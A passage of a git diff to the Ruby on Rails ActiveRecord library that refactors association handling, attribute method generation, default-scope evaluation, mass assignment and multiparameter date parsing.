scope.delete_all end - delete_through_records(through, records) + delete_through_records(records) if through_reflection.macro == :has_many && update_through_counter?(method) update_counter(-count, through_reflection) @@ -120,15 +140,25 @@ module ActiveRecord update_counter(-count) end - def delete_through_records(through, records) - if through_reflection.macro == :has_many - records.each do |record| - through.target.delete(through_record(record)) - end - else - records.each do |record| - through.target = nil if through.target == through_record(record) + def through_records_for(record) + attributes = construct_join_attributes(record) + candidates = Array.wrap(through_association.target) + candidates.find_all { |c| c.attributes.slice(*attributes.keys) == attributes } + end + + def delete_through_records(records) + records.each do |record| + through_records = through_records_for(record) + + if through_reflection.macro == :has_many + through_records.each { |r| through_association.target.delete(r) } + else + if through_records.include?(through_association.target) + through_association.target = nil + end end + + @through_records.delete(record.object_id) end end diff --git a/activerecord/lib/active_record/associations/has_one_association.rb b/activerecord/lib/active_record/associations/has_one_association.rb index 2f3a6e71f1..2131edbc20 100644 --- a/activerecord/lib/active_record/associations/has_one_association.rb +++ b/activerecord/lib/active_record/associations/has_one_association.rb @@ -14,12 +14,12 @@ module ActiveRecord end if record - set_inverse_instance(record) set_owner_attributes(record) + set_inverse_instance(record) if owner.persisted? && save && !record.save nullify_owner_attributes(record) - set_owner_attributes(target) + set_owner_attributes(target) if target raise RecordNotSaved, "Failed to save the new associated #{reflection.name}." end end diff --git a/activerecord/lib/active_record/associations/join_dependency.rb b/activerecord/lib/active_record/associations/join_dependency.rb index 504f25271c..6c878f0f00 100644 --- a/activerecord/lib/active_record/associations/join_dependency.rb +++ b/activerecord/lib/active_record/associations/join_dependency.rb @@ -188,13 +188,12 @@ module ActiveRecord association = join_part.instantiate(row) unless row[join_part.aliased_primary_key].nil? set_target_and_inverse(join_part, association, record) else - return if row[join_part.aliased_primary_key].nil? - association = join_part.instantiate(row) + association = join_part.instantiate(row) unless row[join_part.aliased_primary_key].nil? case macro when :has_many, :has_and_belongs_to_many other = record.association(join_part.reflection.name) other.loaded! - other.target.push(association) + other.target.push(association) if association other.set_inverse_instance(association) when :belongs_to set_target_and_inverse(join_part, association, record) diff --git a/activerecord/lib/active_record/associations/join_dependency/join_association.rb b/activerecord/lib/active_record/associations/join_dependency/join_association.rb index c32753782f..03963ab060 100644 --- a/activerecord/lib/active_record/associations/join_dependency/join_association.rb +++ b/activerecord/lib/active_record/associations/join_dependency/join_association.rb @@ -62,6 +62,7 @@ module ActiveRecord def join_to(relation) tables = @tables.dup foreign_table = parent_table + foreign_klass = parent.active_record # The chain starts with the target table, but we want to end with it here (makes # more sense in this context), so we reverse @@ -91,14 +92,17 @@ module ActiveRecord constraint = build_constraint(reflection, table, key, foreign_table, foreign_key) - unless conditions[i].empty? - constraint = constraint.and(sanitize(conditions[i], table)) + conditions = self.conditions[i].dup + conditions << { reflection.type => foreign_klass.base_class.name } if reflection.type + + unless conditions.empty? + constraint = constraint.and(sanitize(conditions, table)) end relation.from(join(table, constraint)) # The current table in this iteration becomes the foreign table in the next - foreign_table = table + foreign_table, foreign_klass = table, reflection.klass end relation diff --git a/activerecord/lib/active_record/associations/join_helper.rb b/activerecord/lib/active_record/associations/join_helper.rb index eae546e76e..f83138195c 100644 --- a/activerecord/lib/active_record/associations/join_helper.rb +++ b/activerecord/lib/active_record/associations/join_helper.rb @@ -32,8 +32,7 @@ module ActiveRecord end def table_alias_for(reflection, join = false) - name = alias_tracker.pluralize(reflection.name) - name << "_#{alias_suffix}" + name = "#{reflection.plural_name}_#{alias_suffix}" name << "_join" if join name end diff --git a/activerecord/lib/active_record/associations/preloader/association.rb b/activerecord/lib/active_record/associations/preloader/association.rb index 7256dd5288..779f8164cc 100644 --- a/activerecord/lib/active_record/associations/preloader/association.rb +++ b/activerecord/lib/active_record/associations/preloader/association.rb @@ -68,7 +68,8 @@ module ActiveRecord private def associated_records_by_owner - owner_keys = owners.map { |owner| owner[owner_key_name] }.compact.uniq + owners_map = owners_by_key + owner_keys = owners_map.keys.compact if klass.nil? || owner_keys.empty? records = [] @@ -84,7 +85,7 @@ module ActiveRecord records.each do |record| owner_key = record[association_key_name].to_s - owners_by_key[owner_key].each do |owner| + owners_map[owner_key].each do |owner| records_by_owner[owner] << record end end diff --git a/activerecord/lib/active_record/associations/preloader/has_and_belongs_to_many.rb b/activerecord/lib/active_record/associations/preloader/has_and_belongs_to_many.rb index 24be279449..b77b667219 100644 --- a/activerecord/lib/active_record/associations/preloader/has_and_belongs_to_many.rb +++ b/activerecord/lib/active_record/associations/preloader/has_and_belongs_to_many.rb @@ -13,7 +13,7 @@ module ActiveRecord # access the aliased column on the join table def records_for(ids) scope = super - klass.connection.select_all(scope.arel.to_sql, 'SQL', scope.bind_values) + klass.connection.select_all(scope.arel, 'SQL', scope.bind_values) end def owner_key_name diff --git a/activerecord/lib/active_record/associations/singular_association.rb b/activerecord/lib/active_record/associations/singular_association.rb index ce1f2a5543..a1a921bcb4 100644 --- a/activerecord/lib/active_record/associations/singular_association.rb +++ b/activerecord/lib/active_record/associations/singular_association.rb @@ -18,16 +18,15 @@ module ActiveRecord end def create(attributes = {}, options = {}, &block) - build(attributes, options, &block).tap { |record| record.save } + create_record(attributes, options, &block) end def create!(attributes = {}, options = {}, &block) - build(attributes, options, &block).tap { |record| record.save! } + create_record(attributes, options, true, &block) end def build(attributes = {}, options = {}) - record = reflection.build_association(attributes, options) - record.assign_attributes(create_scope.except(*record.changed), :without_protection => true) + record = build_record(attributes, options) yield(record) if block_given? set_new_record(record) record @@ -51,6 +50,15 @@ module ActiveRecord def set_new_record(record) replace(record) end + + def create_record(attributes, options, raise_error = false) + record = build_record(attributes, options) + yield(record) if block_given? + saved = record.save + set_new_record(record) + raise RecordInvalid.new(record) if !saved && raise_error + record + end end end end diff --git a/activerecord/lib/active_record/associations/through_association.rb b/activerecord/lib/active_record/associations/through_association.rb index 53c5c3cedf..f95e5337c2 100644 --- a/activerecord/lib/active_record/associations/through_association.rb +++ b/activerecord/lib/active_record/associations/through_association.rb @@ -16,7 +16,7 @@ module ActiveRecord chain[1..-1].each do |reflection| scope = scope.merge( reflection.klass.scoped.with_default_scope. - except(:select, :create_with) + except(:select, :create_with, :includes, :preload, :joins, :eager_load) ) end scope @@ -44,7 +44,7 @@ module ActiveRecord join_attributes = { source_reflection.foreign_key => records.map { |record| - record.send(source_reflection.association_primary_key) + record.send(source_reflection.association_primary_key(reflection.klass)) } } diff --git a/activerecord/lib/active_record/attribute_methods.rb b/activerecord/lib/active_record/attribute_methods.rb index 5833c65893..d7bfaa5655 100644 --- a/activerecord/lib/active_record/attribute_methods.rb +++ b/activerecord/lib/active_record/attribute_methods.rb @@ -1,4 +1,5 @@ require 'active_support/core_ext/enumerable' +require 'active_support/deprecation' module ActiveRecord # = Active Record Attribute Methods @@ -11,57 +12,84 @@ module ActiveRecord # accessors, mutators and query methods. def define_attribute_methods return if attribute_methods_generated? - super(column_names) - @attribute_methods_generated = true + + if base_class == self + super(column_names) + @attribute_methods_generated = true + else + base_class.define_attribute_methods + end end def attribute_methods_generated? - @attribute_methods_generated ||= false + if base_class == self + @attribute_methods_generated ||= false + else + base_class.attribute_methods_generated? + end end def undefine_attribute_methods(*args) - super - @attribute_methods_generated = false + if base_class == self + super + @attribute_methods_generated = false + else + base_class.undefine_attribute_methods(*args) + end end - # Checks whether the method is defined in the model or any of its subclasses - # that also derive from Active Record. Raises DangerousAttributeError if the - # method is defined by Active Record though. def instance_method_already_implemented?(method_name) - method_name = method_name.to_s - index = ancestors.index(ActiveRecord::Base) || ancestors.length - @_defined_class_methods ||= ancestors.first(index).map { |m| - m.instance_methods(false) | m.private_instance_methods(false) - }.flatten.map {|m| m.to_s }.to_set + if dangerous_attribute_method?(method_name) + raise DangerousAttributeError, "#{method_name} is defined by ActiveRecord" + end - @@_defined_activerecord_methods ||= defined_activerecord_methods - raise DangerousAttributeError, "#{method_name} is defined by ActiveRecord" if @@_defined_activerecord_methods.include?(method_name) - @_defined_class_methods.include?(method_name) + super end - def defined_activerecord_methods + # A method name is 'dangerous' if it is already defined by Active Record, but + # not by any ancestors. (So 'puts' is not dangerous but 'save' is.) + def dangerous_attribute_method?(method_name) active_record = ActiveRecord::Base - super_klass = ActiveRecord::Base.superclass - methods = (active_record.instance_methods - super_klass.instance_methods) + - (active_record.private_instance_methods - super_klass.private_instance_methods) - methods.map {|m| m.to_s }.to_set + superclass = ActiveRecord::Base.superclass + + (active_record.method_defined?(method_name) || + active_record.private_method_defined?(method_name)) && + !superclass.method_defined?(method_name) && + !superclass.private_method_defined?(method_name) end end - def method_missing(method_id, *args, &block) - # If we haven't generated any methods yet, generate them, then - # see if we've created the method we're looking for. - if !self.class.attribute_methods_generated? + # If we haven't generated any methods yet, generate them, then + # see if we've created the method we're looking for. + def method_missing(method, *args, &block) + unless self.class.attribute_methods_generated? self.class.define_attribute_methods - method_name = method_id.to_s - guard_private_attribute_method!(method_name, args) - send(method_id, *args, &block) + + if respond_to_without_attributes?(method) + send(method, *args, &block) + else + super + end else super end end - def respond_to?(*args) + def attribute_missing(match, *args, &block) + if self.class.columns_hash[match.attr_name] + ActiveSupport::Deprecation.warn( + "The method `#{match.method_name}', matching the attribute `#{match.attr_name}' has " \ + "dispatched through method_missing. This shouldn't happen, because `#{match.attr_name}' " \ + "is a column of the table. If this error has happened through normal usage of Active " \ + "Record (rather than through your own code or external libraries), please report it as " \ + "a bug." + ) + end + + super + end + + def respond_to?(name, include_private = false) self.class.define_attribute_methods unless self.class.attribute_methods_generated? super end diff --git a/activerecord/lib/active_record/attribute_methods/primary_key.rb b/activerecord/lib/active_record/attribute_methods/primary_key.rb index 5f06452247..a404a5edd7 100644 --- a/activerecord/lib/active_record/attribute_methods/primary_key.rb +++ b/activerecord/lib/active_record/attribute_methods/primary_key.rb @@ -3,8 +3,7 @@ module ActiveRecord module PrimaryKey extend ActiveSupport::Concern - # Returns this record's primary key value wrapped in an Array or nil if - # the record is not persisted? or has just been destroyed. + # Returns this record's primary key value wrapped in an Array if one is available def to_key key = send(self.class.primary_key) [key] if key @@ -48,7 +47,7 @@ module ActiveRecord end attr_accessor :original_primary_key - + # Attribute writer for the primary key column def primary_key=(value) @quoted_primary_key = nil @@ -67,7 +66,6 @@ module ActiveRecord @primary_key ||= '' self.original_primary_key = @primary_key value &&= value.to_s - connection_pool.primary_keys[table_name] = value self.primary_key = block_given? ? instance_eval(&block) : value end end diff --git a/activerecord/lib/active_record/attribute_methods/read.rb b/activerecord/lib/active_record/attribute_methods/read.rb index aef99e3129..4174e4da09 100644 --- a/activerecord/lib/active_record/attribute_methods/read.rb +++ b/activerecord/lib/active_record/attribute_methods/read.rb @@ -6,8 +6,6 @@ module ActiveRecord ATTRIBUTE_TYPES_CACHED_BY_DEFAULT = [:datetime, :timestamp, :time, :date] included do - attribute_method_suffix "" - cattr_accessor :attribute_types_cached_by_default, :instance_writer => false self.attribute_types_cached_by_default = ATTRIBUTE_TYPES_CACHED_BY_DEFAULT @@ -58,7 +56,7 @@ module ActiveRecord generated_attribute_methods.module_eval("def _#{attr_name}; #{access_code}; end; alias #{attr_name} _#{attr_name}", __FILE__, __LINE__) end - # Define an attribute reader method. Cope with nil column. + # Define an attribute reader method. Cope with nil column. # method_name is the same as attr_name except when a non-standard primary key is used, # we still define #id as an accessor for the key def define_read_method(method_name, attr_name, column) @@ -99,8 +97,9 @@ module ActiveRecord # Returns the value of the attribute identified by <tt>attr_name</tt> after it has been typecast (for example, # "2004-12-12" in a data column is cast to a date object, like Date.new(2004, 12, 12)). def read_attribute(attr_name) - if respond_to? "_#{attr_name}" - send "_#{attr_name}" if @attributes.has_key?(attr_name.to_s) + method = "_#{attr_name}" + if respond_to? method + send method if @attributes.has_key?(attr_name.to_s) else _read_attribute attr_name end diff --git a/activerecord/lib/active_record/attribute_methods/write.rb b/activerecord/lib/active_record/attribute_methods/write.rb index c77a3ac145..e9cdb130db 100644 --- a/activerecord/lib/active_record/attribute_methods/write.rb +++ b/activerecord/lib/active_record/attribute_methods/write.rb @@ -17,6 +17,10 @@ module ActiveRecord write_attribute(attr_name, new_value) end end + + if attr_name == primary_key && attr_name != "id" + generated_attribute_methods.module_eval("alias :id= :'#{primary_key}='") + end end end @@ -24,12 +28,16 @@ module ActiveRecord # for fixnum and float columns are turned into +nil+. def write_attribute(attr_name, value) attr_name = attr_name.to_s - attr_name = self.class.primary_key if attr_name == 'id' + attr_name = self.class.primary_key if attr_name == 'id' && self.class.primary_key @attributes_cache.delete(attr_name) - if (column = column_for_attribute(attr_name)) && column.number? + column = column_for_attribute(attr_name) + + if column && column.number? @attributes[attr_name] = convert_number_column_value(value) - else + elsif column || @attributes.has_key?(attr_name) @attributes[attr_name] = value + else + raise ActiveModel::MissingAttributeError, "can't write unknown attribute `#{attr_name}'" end end alias_method :raw_write_attribute, :write_attribute diff --git a/activerecord/lib/active_record/autosave_association.rb b/activerecord/lib/active_record/autosave_association.rb index 48dbe0838a..056170d82a 100644 --- a/activerecord/lib/active_record/autosave_association.rb +++ b/activerecord/lib/active_record/autosave_association.rb @@ -161,7 +161,7 @@ module ActiveRecord # # For performance reasons, we don't check whether to validate at runtime. # However the validation and callback methods are lazy and those methods - # get created when they are invoked for the very first time. However, + # get created when they are invoked for the very first time. However, # this can change, for instance, when using nested attributes, which is # called _after_ the association has been defined. Since we don't want # the callbacks to get defined multiple times, there are guards that @@ -347,7 +347,7 @@ module ActiveRecord end # reconstruct the scope now that we know the owner's id - association.send(:construct_scope) if association.respond_to?(:construct_scope) + association.send(:reset_scope) if association.respond_to?(:reset_scope) end end @@ -370,7 +370,10 @@ module ActiveRecord else key = reflection.options[:primary_key] ? send(reflection.options[:primary_key]) : id if autosave != false && (new_record? || record.new_record? || record[reflection.foreign_key] != key || autosave) - record[reflection.foreign_key] = key + unless reflection.through_reflection + record[reflection.foreign_key] = key + end + saved = record.save(:validate => !autosave) raise ActiveRecord::Rollback if !saved && autosave saved diff --git a/activerecord/lib/active_record/base.rb b/activerecord/lib/active_record/base.rb index cd16b8d3ca..360e494af1 100644 --- a/activerecord/lib/active_record/base.rb +++ b/activerecord/lib/active_record/base.rb @@ -115,8 +115,8 @@ module ActiveRecord #:nodoc: # When joining tables, nested hashes or keys written in the form 'table_name.column_name' # can be used to qualify the table name of a particular condition. For instance: # - # Student.joins(:schools).where(:schools => { :type => 'public' }) - # Student.joins(:schools).where('schools.type' => 'public' ) + # Student.joins(:schools).where(:schools => { :category => 'public' }) + # Student.joins(:schools).where('schools.category' => 'public' ) # # == Overwriting default accessors # @@ -177,6 +177,10 @@ module ActiveRecord #:nodoc: # And instead of writing <tt>Person.where(:last_name => last_name).all</tt>, you just do # <tt>Person.find_all_by_last_name(last_name)</tt>. # + # It's possible to add an exclamation point (!) on the end of the dynamic finders to get them to raise an + # <tt>ActiveRecord::RecordNotFound</tt> error if they do not return any records, + # like <tt>Person.find_by_last_name!</tt>. + # # It's also possible to use multiple attributes in the same find by separating them with "_and_". # # Person.where(:user_name => user_name, :password => password).first @@ -393,8 +397,8 @@ module ActiveRecord #:nodoc: # Indicates whether table names should be the pluralized versions of the corresponding class names. # If true, the default table name for a Product class will be +products+. If false, it would just be +product+. # See table_name for the full rules on table/class naming. This is true, by default. - cattr_accessor :pluralize_table_names, :instance_writer => false - @@pluralize_table_names = true + class_attribute :pluralize_table_names, :instance_writer => false + self.pluralize_table_names = true ## # :singleton-method: @@ -438,6 +442,7 @@ module ActiveRecord #:nodoc: class << self # Class methods delegate :find, :first, :first!, :last, :last!, :all, :exists?, :any?, :many?, :to => :scoped + delegate :first_or_create, :first_or_create!, :first_or_initialize, :to => :scoped delegate :destroy, :destroy_all, :delete, :delete_all, :update, :update_all, :to => :scoped delegate :find_each, :find_in_batches, :to => :scoped delegate :select, :group, :order, :except, :reorder, :limit, :offset, :joins, :where, :preload, :eager_load, :includes, :from, :lock, :readonly, :having, :create_with, :to => :scoped @@ -504,8 +509,7 @@ module ActiveRecord #:nodoc: if attributes.is_a?(Array) attributes.collect { |attr| create(attr, options, &block) } else - object = new(attributes, options) - yield(object) if block_given? + object = new(attributes, options, &block) object.save object end @@ -577,15 +581,25 @@ module ActiveRecord #:nodoc: # # ==== Examples # - # class Invoice < ActiveRecord::Base; end; + # class Invoice < ActiveRecord::Base + # end + # # file class table_name # invoice.rb Invoice invoices # - # class Invoice < ActiveRecord::Base; class Lineitem < ActiveRecord::Base; end; end; + # class Invoice < ActiveRecord::Base + # class Lineitem < ActiveRecord::Base + # end + # end + # # file class table_name # invoice.rb Invoice::Lineitem invoice_lineitems # - # module Invoice; class Lineitem < ActiveRecord::Base; end; end; + # module Invoice + # class Lineitem < ActiveRecord::Base + # end + # end + # # file class table_name # invoice/lineitem.rb Invoice::Lineitem lineitems # @@ -611,6 +625,8 @@ module ActiveRecord #:nodoc: # Computes the table name, (re)sets it internally, and returns it. def reset_table_name #:nodoc: + return if abstract_class? + self.table_name = compute_table_name end @@ -645,8 +661,8 @@ module ActiveRecord #:nodoc: def set_table_name(value = nil, &block) @quoted_table_name = nil define_attr_method :table_name, value, &block + @arel_table = nil - @arel_table = Arel::Table.new(table_name, arel_engine) @relation = Relation.new(self, arel_table) end alias :table_name= :set_table_name @@ -691,6 +707,10 @@ module ActiveRecord #:nodoc: # Returns an array of column objects for the table associated with this class. def columns + if defined?(@primary_key) + connection_pool.primary_keys[table_name] ||= primary_key + end + connection_pool.columns[table_name] end @@ -699,6 +719,12 @@ module ActiveRecord #:nodoc: connection_pool.columns_hash[table_name] end + # Returns a hash where the keys are column names and the values are + # default values when instantiating the AR object for this table. + def column_defaults + connection_pool.column_defaults[table_name] + end + # Returns an array of column names as strings. def column_names @column_names ||= columns.map { |column| column.name } @@ -878,7 +904,7 @@ module ActiveRecord #:nodoc: end def arel_table - Arel::Table.new(table_name, arel_engine) + @arel_table ||= Arel::Table.new(table_name, arel_engine) end def arel_engine @@ -922,17 +948,6 @@ module ActiveRecord #:nodoc: self.current_scope = nil end - # Specifies how the record is loaded by +Marshal+. - # - # +_load+ sets an instance variable for each key in the hash it takes as input. - # Override this method if you require more complex marshalling. - def _load(data) - record = allocate - record.init_with(Marshal.load(data)) - record - end - - # Finder methods must instantiate through this method to work with the # single-table inheritance model that makes it possible to create # objects of different types from the same table. @@ -1036,20 +1051,15 @@ module ActiveRecord #:nodoc: # Each dynamic finder using <tt>scoped_by_*</tt> is also defined in the class after it # is first invoked, so that future attempts to use it do not run through method_missing. def method_missing(method_id, *arguments, &block) - if match = DynamicFinderMatch.match(method_id) + if match = (DynamicFinderMatch.match(method_id) || DynamicScopeMatch.match(method_id)) attribute_names = match.attribute_names super unless all_attributes_exists?(attribute_names) - if match.finder? - options = arguments.extract_options! - relation = options.any? ? scoped(options) : scoped - relation.send :find_by_attributes, match, attribute_names, *arguments - elsif match.instantiator? - scoped.send :find_or_instantiator_by_attributes, match, attribute_names, *arguments, &block + if arguments.size < attribute_names.size + method_trace = "#{__FILE__}:#{__LINE__}:in `#{method_id}'" + backtrace = [method_trace] + caller + raise ArgumentError, "wrong number of arguments (#{arguments.size} for #{attribute_names.size})", backtrace end - elsif match = DynamicScopeMatch.match(method_id) - attribute_names = match.attribute_names - super unless all_attributes_exists?(attribute_names) - if match.scope? + if match.respond_to?(:scope?) && match.scope? self.class_eval <<-METHOD, __FILE__, __LINE__ + 1 def self.#{method_id}(*args) # def self.scoped_by_user_name_and_password(*args) attributes = Hash[[:#{attribute_names.join(',:')}].zip(args)] # attributes = Hash[[:user_name, :password].zip(args)] @@ -1058,6 +1068,12 @@ module ActiveRecord #:nodoc: end # end METHOD send(method_id, *arguments) + elsif match.finder? + options = arguments.extract_options! + relation = options.any? ? scoped(options) : scoped + relation.send :find_by_attributes, match, attribute_names, *arguments, &block + elsif match.instantiator? + scoped.send :find_or_instantiator_by_attributes, match, attribute_names, *arguments, &block end else super @@ -1194,11 +1210,11 @@ MSG end def current_scope #:nodoc: - Thread.current[:"#{self}_current_scope"] + Thread.current["#{self}_current_scope"] end def current_scope=(scope) #:nodoc: - Thread.current[:"#{self}_current_scope"] = scope + Thread.current["#{self}_current_scope"] = scope end # Use this macro in your model to set a default scope for all operations on @@ -1253,22 +1269,43 @@ MSG def build_default_scope #:nodoc: if method(:default_scope).owner != Base.singleton_class - # Use relation.scoping to ensure we ignore whatever the current value of - # self.current_scope may be. - relation.scoping { default_scope } + evaluate_default_scope { default_scope } elsif default_scopes.any? - default_scopes.inject(relation) do |default_scope, scope| - if scope.is_a?(Hash) - default_scope.apply_finder_options(scope) - elsif !scope.is_a?(Relation) && scope.respond_to?(:call) - default_scope.merge(scope.call) - else - default_scope.merge(scope) + evaluate_default_scope do + default_scopes.inject(relation) do |default_scope, scope| + if scope.is_a?(Hash) + default_scope.apply_finder_options(scope) + elsif !scope.is_a?(Relation) && scope.respond_to?(:call) + default_scope.merge(scope.call) + else + default_scope.merge(scope) + end end end end end + def ignore_default_scope? #:nodoc: + Thread.current["#{self}_ignore_default_scope"] + end + + def ignore_default_scope=(ignore) #:nodoc: + Thread.current["#{self}_ignore_default_scope"] = ignore + end + + # The ignore_default_scope flag is used to prevent an infinite recursion situation where + # a default scope references a scope which has a default scope which references a scope... + def evaluate_default_scope + return if ignore_default_scope? + + begin + self.ignore_default_scope = true + yield + ensure + self.ignore_default_scope = false + end + end + # Returns the class type of the record using the current module as a prefix. So descendants of # MyApp::Business::Account would appear as MyApp::Business::AccountSubclass. def compute_type(type_name) @@ -1289,7 +1326,6 @@ MSG rescue NameError => e # We don't want to swallow NoMethodError < NameError errors raise e unless e.instance_of?(NameError) - rescue ArgumentError end end @@ -1300,7 +1336,7 @@ MSG # Returns the class descending directly from ActiveRecord::Base or an # abstract class, if any, in the inheritance hierarchy. def class_of_active_record_descendant(klass) - if klass.superclass == Base || klass.superclass.abstract_class? + if klass == Base || klass.superclass == Base || klass.superclass.abstract_class? klass elsif klass.superclass.nil? raise ActiveRecordError, "#{name} doesn't belong in a hierarchy descending from ActiveRecord" @@ -1389,9 +1425,8 @@ MSG attrs = expand_hash_conditions_for_aggregates(attrs) table = Arel::Table.new(table_name).alias(default_table_name) - viz = Arel::Visitors.for(arel_engine) PredicateBuilder.build_from_hash(arel_engine, attrs, table).map { |b| - viz.accept b + connection.visitor.accept b }.join(' AND ') end alias_method :sanitize_sql_hash, :sanitize_sql_hash_for_conditions @@ -1513,6 +1548,7 @@ MSG @marked_for_destruction = false @previously_changed = {} @changed_attributes = {} + @relation = nil ensure_proper_type set_serialized_attributes @@ -1521,9 +1557,8 @@ MSG assign_attributes(attributes, options) if attributes - result = yield self if block_given? + yield self if block_given? run_callbacks :initialize - result end # Populate +coder+ with attributes about this record that should be @@ -1554,6 +1589,7 @@ MSG # post.title # => 'hello world' def init_with(coder) @attributes = coder['attributes'] + @relation = nil set_serialized_attributes @@ -1568,16 +1604,6 @@ MSG self end - # Specifies how the record is dumped by +Marshal+. - # - # +_dump+ emits a marshalled hash which has been passed to +encode_with+. Override this - # method if you require more complex marshalling. - def _dump(level) - dump = {} - encode_with(dump) - Marshal.dump(dump) - end - # Returns a String, which Action Pack uses for constructing an URL to this # object. The default implementation returns this record's id as a String, # or nil if this record's unsaved. @@ -1617,7 +1643,8 @@ MSG when new_record? "#{self.class.model_name.cache_key}/new" when timestamp = self[:updated_at] - "#{self.class.model_name.cache_key}/#{id}-#{timestamp.to_s(:number)}" + timestamp = timestamp.utc.to_s(:number) + "#{self.class.model_name.cache_key}/#{id}-#{timestamp}" else "#{self.class.model_name.cache_key}/#{id}" end @@ -1643,9 +1670,6 @@ MSG # If any attributes are protected by either +attr_protected+ or # +attr_accessible+ then only settable attributes will be assigned. # - # The +guard_protected_attributes+ argument is now deprecated, use - # the +assign_attributes+ method if you want to bypass mass-assignment security. - # # class User < ActiveRecord::Base # attr_protected :is_admin # end @@ -1654,20 +1678,10 @@ MSG # user.attributes = { :username => 'Phusion', :is_admin => true } # user.username # => "Phusion" # user.is_admin? # => false - def attributes=(new_attributes, guard_protected_attributes = nil) - unless guard_protected_attributes.nil? - message = "the use of 'guard_protected_attributes' will be removed from the next major release of rails, " + - "if you want to bypass mass-assignment security then look into using assign_attributes" - ActiveSupport::Deprecation.warn(message) - end - + def attributes=(new_attributes) return unless new_attributes.is_a?(Hash) - if guard_protected_attributes == false - assign_attributes(new_attributes, :without_protection => true) - else - assign_attributes(new_attributes) - end + assign_attributes(new_attributes) end # Allows you to set all the attributes for a particular mass-assignment @@ -1701,12 +1715,11 @@ MSG return unless new_attributes attributes = new_attributes.stringify_keys - role = options[:as] || :default - multi_parameter_attributes = [] + @mass_assignment_options = options unless options[:without_protection] - attributes = sanitize_for_mass_assignment(attributes, role) + attributes = sanitize_for_mass_assignment(attributes, mass_assignment_role) end attributes.each do |k, v| @@ -1719,6 +1732,7 @@ MSG end end + @mass_assignment_options = nil assign_multiparameter_attributes(multi_parameter_attributes) end @@ -1728,7 +1742,7 @@ MSG end # Returns an <tt>#inspect</tt>-like string for the value of the - # attribute +attr_name+. String attributes are elided after 50 + # attribute +attr_name+. String attributes are truncated upto 50 # characters, and Date and Time attributes are returned in the # <tt>:db</tt> format. Other attributes return the value of # <tt>#inspect</tt> without modification. @@ -1773,16 +1787,12 @@ MSG # Note also that destroying a record preserves its ID in the model instance, so deleted # models are still comparable. def ==(comparison_object) - comparison_object.equal?(self) || + super || comparison_object.instance_of?(self.class) && id.present? && comparison_object.id == id end - - # Delegates to == - def eql?(comparison_object) - self == comparison_object - end + alias :eql? :== # Delegates to id in order to allow two records of the same type and id to work with something like: # [ Person.find(1), Person.find(2), Person.find(3) ] & [ Person.find(1), Person.find(4) ] # => [ Person.find(1) ] @@ -1800,6 +1810,15 @@ MSG @attributes.frozen? end + # Allows sort on objects + def <=>(other_object) + if other_object.is_a?(self.class) + self.to_key <=> other_object.to_key + else + nil + end + end + # Backport dup from 1.9 so that initialize_dup() gets called unless Object.respond_to?(:initialize_dup) def dup # :nodoc: @@ -1835,7 +1854,7 @@ MSG ensure_proper_type populate_with_current_scope_attributes - clear_timestamp_attributes + super end # Returns +true+ if the record is read only. Records loaded through joins with piggy-back @@ -1851,12 +1870,16 @@ MSG # Returns the contents of the record as a nicely formatted string. def inspect - attributes_as_nice_string = self.class.column_names.collect { |name| - if has_attribute?(name) - "#{name}: #{attribute_for_inspect(name)}" - end - }.compact.join(", ") - "#<#{self.class} #{attributes_as_nice_string}>" + inspection = if @attributes + self.class.column_names.collect { |name| + if has_attribute?(name) + "#{name}: #{attribute_for_inspect(name)}" + end + }.compact.join(", ") + else + "not initialized" + end + "#<#{self.class} #{inspection}>" end protected @@ -1874,12 +1897,33 @@ MSG value end + def mass_assignment_options + @mass_assignment_options ||= {} + end + + def mass_assignment_role + mass_assignment_options[:as] || :default + end + private + # Under Ruby 1.9, Array#flatten will call #to_ary (recursively) on each of the elements + # of the array, and then rescues from the possible NoMethodError. If those elements are + # ActiveRecord::Base's, then this triggers the various method_missing's that we have, + # which significantly impacts upon performance. + # + # So we can avoid the method_missing hit by explicitly defining #to_ary as nil here. + # + # See also http://tenderlovemaking.com/2011/06/28/til-its-ok-to-return-nil-from-to_ary/ + def to_ary # :nodoc: + nil + end + def set_serialized_attributes - (@attributes.keys & self.class.serialized_attributes.keys).each do |key| - coder = self.class.serialized_attributes[key] - @attributes[key] = coder.load @attributes[key] + sattrs = self.class.serialized_attributes + + sattrs.each do |key, coder| + @attributes[key] = coder.load @attributes[key] if @attributes.key?(key) end end @@ -1889,8 +1933,9 @@ MSG # do Reply.new without having to set <tt>Reply[Reply.inheritance_column] = "Reply"</tt> yourself. # No such attribute would be set for objects of the Message class in that example. def ensure_proper_type - unless self.class.descends_from_active_record? - write_attribute(self.class.inheritance_column, self.class.sti_name) + klass = self.class + if klass.finder_needs_type_condition? + write_attribute(klass.inheritance_column, klass.sti_name) end end @@ -1986,18 +2031,21 @@ MSG # If Date bits were not provided, error raise "Missing Parameter" if [1,2,3].any?{|position| !values_hash_from_param.has_key?(position)} max_position = extract_max_param_for_multiparameter_attributes(values_hash_from_param, 6) + # If Date bits were provided but blank, then return nil + return nil if (1..3).any? {|position| values_hash_from_param[position].blank?} + set_values = (1..max_position).collect{|position| values_hash_from_param[position] } - # If Date bits were provided but blank, then default to 1 # If Time bits are not there, then default to 0 - [1,1,1,0,0,0].each_with_index{|v,i| set_values[i] = set_values[i].blank? ? v : set_values[i]} + (3..5).each {|i| set_values[i] = set_values[i].blank? ? 0 : set_values[i]} instantiate_time_object(name, set_values) end def read_date_parameter_value(name, values_hash_from_param) - set_values = (1..3).collect{|position| values_hash_from_param[position].blank? ? 1 : values_hash_from_param[position]} + return nil if (1..3).any? {|position| values_hash_from_param[position].blank?} + set_values = [values_hash_from_param[1], values_hash_from_param[2], values_hash_from_param[3]] begin Date.new(*set_values) - rescue ArgumentError => ex # if Date.new raises an exception on an invalid date + rescue ArgumentError # if Date.new raises an exception on an invalid date instantiate_time_object(name, set_values).to_date # we instantiate Time object and convert it back to a date thus using Time's logic in handling invalid dates end end @@ -2018,7 +2066,7 @@ MSG def extract_callstack_for_multiparameter_attributes(pairs) attributes = { } - for pair in pairs + pairs.each do |pair| multiparameter_name, value = pair attribute_name = multiparameter_name.split("(").first attributes[attribute_name] = {} unless attributes.include?(attribute_name) @@ -2064,16 +2112,10 @@ MSG end def populate_with_current_scope_attributes - self.class.scoped.scope_for_create.each do |att,value| - respond_to?("#{att}=") && send("#{att}=", value) - end - end + return unless self.class.scope_attributes? - # Clear attributes and changed_attributes - def clear_timestamp_attributes - all_timestamp_attributes_in_model.each do |attribute_name| - self[attribute_name] = nil - changed_attributes.delete(attribute_name) + self.class.scope_attributes.each do |att,value| + send("#{att}=", value) if respond_to?("#{att}=") end end end @@ -2103,7 +2145,7 @@ 